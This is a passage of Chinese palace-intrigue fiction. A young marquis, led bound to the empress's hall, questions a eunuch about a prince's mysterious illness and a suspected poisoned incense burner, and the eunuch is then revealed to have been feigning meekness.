想到季姜,知妗轻柔笑开,“再说了,七妹妹虽心性单纯可却娇蛮太甚,阿姜就不一样了,她虽天性自在,可却不是任性之人,这样就很好。” 看知妗开心的样子,入画偷笑。 “娘子看六娘子,自然是哪里都好,只不知夫人会不会也像您一般喜爱天性自在的六娘子呢?” 说起谢夫人,知妗敛笑轻斥道:“多嘴。” 入画缩了缩脖子,跟在自家娘子身后进了府。 * 季姜到皇宫时,良患已经等在永安门,见到人后说了几句漂亮话就引着她坐上轿撵,往沈皇后的长清宫去。 这两日总听府上的仆妇说皇宫如何如何好,季姜心里也期待起来,可如今顺着轿帘看出去,她却是失望了。 皇宫四四方方肃穆沉寂,宫道笔直前伸看不到尽头,宫墙更是高得只能看到头顶的方寸天空,四下空空荡荡,一路走过也只见持刀的侍卫和含胸低头匆匆行路的宫人。 怎么会有人觉得这是个好地方呢。 季姜有些纳闷。 轿撵轻晃,季姜也不再四处看,转而无聊的用手缠着自己的发带玩,还不时与宝帘闲话几句。 显然,两人都对这皇宫没什么兴趣。 这样的状况一直持续到进了长清宫,宫人掀帘扶季姜下轿,而她一抬眼,看见了正从侧廊上被压过来的人。 季姜瞳孔一缩,瞬间精神起来。 侧廊上,李兖被捆住双手,由千牛卫的人提着往长清殿来。 他也不挣扎,就丧着一张脸平淡地往前走。 转过廊角,只听‘砰’的一声,有什么东西撞在他身上,继而弥漫出一阵熏香味。 “什么人,敢在长清殿随意走动!” 旁边的千牛卫大喝一声,瞬间把那小内侍踢出去几步远。 叮铃啷当一阵声响,小内侍手里的香炉被打翻在地,香灰倾泄出来,在晨光里纷纷扬扬飘散起来。 两个千牛卫上前把人提起来,见他所着内侍服陈旧短小,脸色便愈发轻蔑。 “真是脑袋在颈子上待够了,皇后娘娘处你也敢肆意走动。” 慈安扑通一下跪在地上,哭喊道:“奴婢不敢,奴婢不是故意的,求几位饶命,求您开恩饶命啊......” 李兖本皱着眉低头看自己身上的香灰,闻言抬头看过去。 “慈安?” 慈安一听是他,赶紧挪动膝盖朝李兖磕头。 “小侯爷,小侯爷饶命啊,我家殿下还等着我回宫,小侯爷饶命......” “饶饶饶,你先起来说话,” 李兖被喊得心烦,“七哥怎么了?” 慈安站起身,眼泪止不住地掉,他随意抬袖擦了一把。 “殿下病了,不知道怎么回事,殿下自从打南边回来身子就一直好不起来,贤妃娘娘给殿下请了太医来瞧,却什么也看不出来,昨日皇后娘娘听闻此事,叫奴婢把重华宫里可疑的东西取来看看,别是沾了什么不好的东西。” 李兖看着地上的香炉,良久后道:“毒?” 慈安摇头,“没有,这里面没有,太医验过了,这只是殿下常用的寻常熏香罢了,其他的太医院还在验。” 李兖脸色微沉,还是道:“你快回去照顾七哥,与他说,我改日得闲了便到重华宫去看他。” 慈安不敢动,抬眼小心地瞥那几个千牛卫。 李兖抬眼扫过去,在他威压的眼神中千牛卫的头越压越低。 “说话啊。”李兖无奈催促。 这位李小侯爷只是要被绑到长清宫,不是要被绑到断头台,他们若是不从,等他缓过来,有的是办法收拾他们。 带头的千牛卫想通,咳了一声主动上前对慈安道“长清殿外不容随意走动,还不快走。” “是是是,多谢小侯爷,多谢几位。” 慈安喏喏应是,小心收拾了地上,重又端起香炉往前走去。 与众人擦肩而过转到另一条小道上,在确认四下无人后,慈安瞬间直起脊背,一扫方才的唯唯诺诺。 他轻扫了扫身上的香灰,脚步轻快地往偏僻的重华宫而去。 他可还要给他家殿下复命去呢。